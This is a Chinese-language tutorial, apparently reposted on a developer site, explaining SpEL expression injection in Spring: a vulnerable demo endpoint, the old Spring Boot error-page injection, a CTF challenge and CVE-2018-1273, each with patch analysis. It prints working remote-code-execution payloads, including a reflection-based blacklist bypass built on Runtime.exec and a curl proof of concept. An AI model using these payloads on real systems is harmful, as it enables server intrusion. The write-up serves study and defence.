SPEL表达式注入-入门篇

栏目: Java · 发布时间: 5年前

内容简介:Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。一个最基础的触发例子

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。

一个最基础的触发例子

@RequestMapping("/spel")
@ResponseBody
public String spel(String input){
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(input);
    return expression.getValue().toString();
}

直接将用户的输入当作表达式内容进行解析。

输入一个简单的乘法运算 2*2 ,可以看到返回的值是经过解析后的 4

SPEL表达式注入-入门篇

执行下系统命令

/spel?input=new java.lang.ProcessBuilder("calc").start()

SPEL表达式注入-入门篇

Spring Boot SPEL表达式注入

算是一个比较早期的漏洞,影响的版本有

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

这里测试使用的是 1.2.0 的版本

<version>1.2.0.RELEASE</version>

漏洞触发的条件是在错误页面中输出用户可控的值,如下是一个简单的demo

@RequestMapping("/")
public String index(String payload){
    throw new IllegalStateException(payload);
}

直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面

SPEL表达式注入-入门篇

并可以看到将 payload 的值输出到了页面中,但输入一个SPEL表达式 ${xxx} 时,却会返回解析之后的值

SPEL表达式注入-入门篇

漏洞分析

找到生成错误页面的代码断

spring-boot-autoconfigure-1.2.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class:101

在SpelView的render方法中打下断点

SPEL表达式注入-入门篇

可以看到是在 this.helper.replacePlaceholders(this.template, this.resolver) 中生成了错误页面,然后返回给result

template 就是错误页面的模板,其中也包含着几个SPEL表达式变量

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

在变量 map 里已经获取到了这几个变量的值

SPEL表达式注入-入门篇

跟进 replacePlaceholders 函数之后可以来到 PropertyPlaceholderHelper.class:59

SPEL表达式注入-入门篇

while循环中循环解析 ${xxx} 的表达式,例如第一个解析到 ${timestamp} ,取出中间的值,然后通过

String propVal = placeholderResolver.resolvePlaceholder(placeholder);

跟进去看一下具体的处理方法

SPEL表达式注入-入门篇

可以看到这里将表达式中间的值带入了SPEL表达式进行解析,然后返回了对应的值(返回前还进行了一次html编码,防止XSS

让我们来跟一下处理 ${message} 时的处理方式

SPEL表达式注入-入门篇

可以看到在取到 ${message} 的值 propVal 之后,由于其不等于null,于是又递归进行了一次 parseStringValue

由于此时的 propVal 值为 ${2*2} 就会和之前的解析表达式流程一样再进行一次SPEL表达式解析。

SPEL表达式注入-入门篇

可以看到此时将 ${2*2} 解析成了4,然后返回在了页面中,从而触发了漏洞。

由于这里SPEL返回值时进行了一次html编码,所以导致取出的 ${message} 值时会进行一次转义,因此之前的payload

${new java.lang.ProcessBuilder("calc").start()}

需要进行一些小小的改动

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

SPEL表达式注入-入门篇

漏洞补丁

https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

新增了一个 NonRecursivePropertyPlaceholderHelper 类用以防止递归

测试环境为1.3.1

可以看到 SpelView 中的 helper 变成了 NonRecursivePropertyPlaceholderHelper

private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");

当第一次解析的时候,可以看到

SPEL表达式注入-入门篇

此时 placeholderResolverresolver 是一个 ExpressionResolver 类型

但是当递归解析时

SPEL表达式注入-入门篇

就被嵌套了一层,从而变成了 NonRecursivePropertyPlaceholderResolver

然后再每次解析表达式前,也增加了个判断

public String resolvePlaceholder(String placeholderName) {
    return this.resolver instanceof NonRecursivePropertyPlaceholderHelper.NonRecursivePlaceholderResolver ? null : this.resolver.resolvePlaceholder(placeholderName);
}

如果是 NonRecursivePlaceholderResolver 类型就直接返回null,从而停止递归解析。

Code-Breaking javacon

上学期p神的一道代码审计题,由于根本不会 java 那时候就空着了。如今回过头来发现也是一道SPEL注入题,感觉难度其实比其他 PHP 的要简单不少,但是耐不住Java的入门门槛稍高。

题目逻辑就不梳理了,看一下代码应该就能看懂,直接来看存在漏洞的部分。

@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,
                    HttpSession session,
                    Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) {
        String username = userConfig.decryptRememberMe(rememberMeValue);
        if (username != null) {
            session.setAttribute("username", username);
        }
    }

    Object username = session.getAttribute("username");
    if(username == null || username.toString().equals("")) {
        return "redirect:/login";
    }

    model.addAttribute("name", getAdvanceValue(username.toString()));
    return "hello";
}

重点在 getAdvanceValue(username.toString())

private String getAdvanceValue(String val) {
    for (String keyword: keyworkProperties.getBlacklist()) {
        Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = parser.parseExpression(val, parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}

可以看到这里进行了明显的SPEL表达式的解析。但是在解析之前会进行黑名单的校验

keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(

在控制器中可以看到,其实表达式的值 username 是可以通过Cookie中的 remember-me 来控制的,但是经过了一点加密。

但由于是白盒,这层加密也可以直接看到加密算法。这样我们就可以控制SPEL中传入的值了

提一句,一开始我以为页面中返回的值是 model.addAttribute 中的 name ,后来看了下html页面中发现只是打印了 ${session.username}

这里为了方便调试,将 name 的值也打印了出来

> <article>
>     <h2 th:text="'Hello, ' + ${session.username}"></h2>
>     <p>This is admin panel.</p>
>     <p th:text="'name: ' + ${name}"></p>
> </article>
>

加密的算法也在 Encryptor.java 中,我们可以通过这个来生成对应的密文

public static void main(String[] args){
    String rememberMeKey = "c0dehack1nghere1";
    String encryptd = Encryptor.encrypt(rememberMeKey, "0123456789abcdef", "#{2*2}");
    System.out.println(encryptd);
}

SPEL表达式注入-入门篇

可以看到 name 的值确实就是传入的SPEL表达式解析之后的值

说一个自己遇到的小疑惑,之前Springboot的例子中SPEL表达式的标识符是 ${} 这个可以从代码中看到是匹配了, ${} 标识的,那为什么这里的标识符是 #{}

我们可以来到解析SPEL表达式的地方,发现这里其实是多了一些东西的。

> ParserContext parserContext = new TemplateParserContext();
> Expression exp = parser.parseExpression(val, parserContext);
>

这里在解析表达式的时候传入了第二个参数 parseContext ,这是个 ParserContext 类的参数,里面就定义了SPEL表达式的标识符。这也就是这里标识符用 #{} 的原因了

SPEL表达式注入-入门篇

继续回到题解上,由于有黑名单的限制,所以之前命令执行的payload传入时会被检测到,这里来看下别的师傅的payload。

#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

好吧,是有点长,看起来有点晕。从 getClassforNamegetMethodinvoke 这些函数可以看出是用了反射的机制。

我们可以一步一步来分析下这个payload

''.getClass()
// class java.lang.String

''.getClass().forName('java.la'+'ng.Ru'+'ntime')
// class java.lang.Runtime

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass())
// public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime')
// public static java.lang.Runtime java.lang.Runtime.getRuntime()

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null)
// java.lang.Runtime@c2939a

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')
// java.lang.ProcessImpl@f2f85c

可以看到,其实整个payload就是在凑 invoke 需要的参数,通过 forNamegetMethod 来获取 Runtime.exec 的函数和类。

这样就可以将 java.lang.Runtime.exec 用字符串拼接的方式进行黑名单的绕过。最后命令执行。

这里就弹个计算器以表尊敬

SPEL表达式注入-入门篇

CVE-2018-1273: RCE with Spring Data Commons

漏洞环境参考的 https://github.com/wearearima/poc-cve-2018-1273

漏洞POC为

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

漏洞分析

漏洞触发点为 spring-data-commons-1.13.10.RELEASE-sources.jar!/org/springframework/data/web/MapDataBinder.java:158

SPEL表达式注入-入门篇

可以看到是一个很明显的SPEL表达式的注入。

查看调用栈可以发现,此处应该是一个 Data Commons 自动化绑定传入参数的操作。

SPEL表达式注入-入门篇

@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {

    MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
    binder.bind(new MutablePropertyValues(request.getParameterMap()));

    return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

可以看到最后将传入的参数进行了绑定。之前触发漏洞的地方 setPropertyValue 就是在设置参数的值。

把传入参数的key值取出然后进行了SPEL表达式的解析。

SPEL表达式注入-入门篇

从而触发了漏洞。

漏洞修复

https://github.com/spring-projects/spring-data-commons/commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a

可以看到将之前的 StandardEvaluationContext 替换成了 SimpleEvaluationContext

SimpleEvaluationContext 对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构。

再次执行POC时可以看到,虽然参数还是传入了 context 中,但是执行 setValue 的时候会抛出异常,从而无法进行攻击。

SPEL表达式注入-入门篇

References


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Music Recommendation and Discovery

Music Recommendation and Discovery

Òscar Celma / Springer / 2010-9-7 / USD 49.95

With so much more music available these days, traditional ways of finding music have diminished. Today radio shows are often programmed by large corporations that create playlists drawn from a limited......一起来看看 《Music Recommendation and Discovery》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具